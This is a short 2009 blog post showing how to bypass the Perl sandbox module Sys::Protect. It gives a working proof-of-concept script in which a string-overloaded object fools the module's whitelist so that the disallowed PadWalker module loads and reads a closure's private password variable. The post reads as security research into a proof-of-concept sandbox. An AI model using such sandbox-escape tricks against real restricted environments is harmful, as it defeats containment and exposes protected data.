March 25, 2009

Breaking Sys::Protect

Sys::Protect does not bill itself as unbreakable protection, but it's fun to break it anyway.

PadWalker is used as an example of an XS module that could seriously mess with other code. Math::BigInt::FastCalc is specifically allowed by Sys::Protect to perform unsafe operations because its domain is only big integers, it is used by a lot of other modules, and because its XS code has been verified to be safe.

#!/usr/bin/env perl
no strict;
use warnings;
use Sys::Protect;
use Test::More tests => 1;

XSLoader::load(bless {}, 'Break::Sys::Protect');

my $password = 'c53eb8f992b4fdf70a03a4d437820028';
my $authenticate = sub { shift eq $password };
is(${PadWalker::closed_over($authenticate)->{'$password'}}, $password);

package Break::Sys::Protect;
use overload q{""} => sub {
    return "Math::BigInt::FastCalc"
        if caller eq 'Sys::Protect';

    $_[0] = "PadWalker";
}; 

Don't use Sys::Protect. :)

edit: I've been told by Sys::Protect's authors that it is a proof of concept for testing Perl code under environments similar to what Google App Engine supports. Such a platform would presumably remove the dangerous opcodes entirely, so vulnerabilities like this couldn't exist.